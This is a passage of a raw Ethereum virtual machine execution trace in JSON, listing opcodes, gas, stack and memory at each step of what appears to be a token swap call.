x4563918244f40000","0xa0","0x1fbe","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2595,"op":"JUMP","gas":117741,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x1fbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8126,"op":"JUMPDEST","gas":117733,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8127,"op":"PUSH1","gas":117732,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8129,"op":"PUSH1","gas":117729,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8131,"op":"DUP3","gas":117726,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8132,"op":"MLOAD","gas":117723,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8133,"op":"LT","gas":117720,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8134,"op":"ISZERO","gas":117717,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8135,"op":"PUSH2","gas":117714,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8138,"op":"JUMPI","gas":117711,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x1","0x2012"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"JUMPDEST","gas":117701,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"DUP2","gas":117700,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8212,"op":"MLOAD","gas":117697,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"PUSH8","gas":117694,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"DUP2","gas":117691,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0xffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8223,"op":"GT","gas":117688,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0xffffffffffffffff","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8224,"op":"ISZERO","gas":117685,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"PUSH2","gas":117682,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8228,"op":"JUMPI","gas":117679,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x1","0x202c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"JUMPDEST","gas":117669,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"PUSH1","gas":117668,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8239,"op":"MLOAD","gas":117665,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8240,"op":"SWAP1","gas":117662,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8241,"op":"DUP1","gas":117659,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8242,"op":"DUP3","gas":117656,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8243,"op":"MSTORE","gas":117653,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8244,"op":"DUP1","gas":117650,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8245,"op":"PUSH1","gas":117647,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8247,"op":"MUL","gas":117644,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8248,"op":"PUSH1","gas":117639,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8250,"op":"ADD","gas":117636,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8251,"op":"DUP3","gas":117633,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8252,"op":"ADD","gas":117630,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x60","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8253,"op":"PUSH1","gas":117627,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8255,"op":"MSTORE","gas":117624,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x160","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000100","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b